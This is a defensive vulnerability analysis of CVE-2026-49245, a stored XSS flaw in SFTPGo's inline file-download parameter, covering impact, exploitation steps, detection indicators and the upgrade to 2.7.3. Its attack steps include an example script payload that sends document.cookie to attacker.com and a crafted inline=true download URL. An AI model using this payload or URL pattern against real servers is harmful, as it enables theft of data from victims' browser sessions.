CVE-2026-49245: 
Wolfi vulnerability analysis and mitigation

CVE-2026-49245 is a stored Cross-Site Scripting (XSS) vulnerability in SFTPGo, an open-source SFTP/FTP/WebDAV server written in Go. The flaw exists in the inline query parameter on the browsable-share file download and authenticated user file download endpoints, which suppressed the Content-Disposition: attachment header, allowing an HTML file stored in a share or home directory to be served as text/html and execute within SFTPGo's web origin. It affects SFTPGo versions >= 2.2.0 and <= 2.7.1, and was first published on May 30, 2026, with the advisory added to the GitHub Advisory Database on July 2, 2026. The CVSS v3.1 base score is 3.7 (Low) (GitHub Advisory, SFTPGo Advisory).

The root cause is improper neutralization of user-controllable input during web page generation (CWE-79). When the inline query parameter was appended to file download URLs on browsable-share or authenticated user download endpoints, SFTPGo omitted the Content-Disposition: attachment response header, causing browsers to render the file inline rather than download it. An attacker with write access to a share or home directory could upload a crafted HTML file containing malicious JavaScript; when a victim is socially engineered into opening a specially crafted URL (not one generated by the WebClient UI), the script executes in SFTPGo's web origin. The attack requires low privileges (file upload access), high complexity (social engineering), and user interaction (GitHub Advisory, SFTPGo Advisory).

Successful exploitation results in limited confidentiality and integrity impact within SFTPGo's web origin. Because session cookies are HttpOnly, the injected script cannot directly steal authentication cookies. For authenticated shares, the share's own session cookie overwrites the victim's WebClient cookie, preventing account pivoting. The most realistic attack scenario involves public shares or folders shared between distinct users, where a malicious HTML file could perform actions in the victim's browser context within the SFTPGo origin, such as UI redressing or limited data exfiltration from the page (GitHub Advisory).

There is no evidence of in-the-wild exploitation or public proof-of-concept exploit code for this vulnerability. The EPSS score is 0.028% (8th percentile), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the need for the attacker to have file upload access, the requirement for social engineering to deliver the crafted URL, and the HttpOnly cookie protection that limits the impact of any successful XSS execution (GitHub Advisory).

1. Gain file upload access: Obtain low-privilege access to an SFTPGo share or home directory (e.g., via a legitimate account or a public share with upload permissions) on a vulnerable instance running SFTPGo >= 2.2.0 and <= 2.7.1.
2. Upload malicious HTML file: Upload a crafted HTML file containing a JavaScript payload (e.g., <script>fetch('https://attacker.com/?data='+document.cookie)</script>) to the accessible share or directory.
3. Construct the malicious URL: Build a file download URL targeting the uploaded HTML file and append the inline query parameter (e.g., /api/v2/shares/{share-id}/files?path=/malicious.html&inline=true or the equivalent authenticated user download endpoint).
4. Social engineer the victim: Deliver the crafted URL to a target victim via phishing, messaging, or other social engineering means, as the SFTPGo WebClient UI never generates such URLs natively.
5. Script executes in victim's browser: When the victim opens the URL, the browser renders the HTML file inline within SFTPGo's web origin, executing the attacker's JavaScript payload in the context of that origin (GitHub Advisory, SFTPGo Advisory).

• Network: HTTP GET requests to SFTPGo file download endpoints (e.g., /api/v2/shares/*/files or user file download paths) containing the inline=true query parameter, particularly for .html or .htm files.
• Logs: SFTPGo access logs showing requests to share or user file download endpoints with the inline parameter appended; responses with Content-Type: text/html for files uploaded by non-administrative users.
• File System: Unexpected .html or .htm files in SFTPGo-managed shares or user home directories, especially those containing <script> tags or obfuscated JavaScript.
• Network: Outbound connections from victim browsers to external domains shortly after accessing SFTPGo file download URLs, potentially indicating data exfiltration from a successful XSS payload (GitHub Advisory).

Upgrade SFTPGo to version 2.7.3, which removes the inline query parameter entirely and enforces Content-Disposition: attachment on all file download endpoints, preventing inline rendering of any file type. No configuration-based workaround is documented; upgrading is the only recommended remediation. Administrators should also audit shares for unexpected HTML files uploaded by non-trusted users as a precautionary measure (GitHub Advisory, SFTPGo Advisory).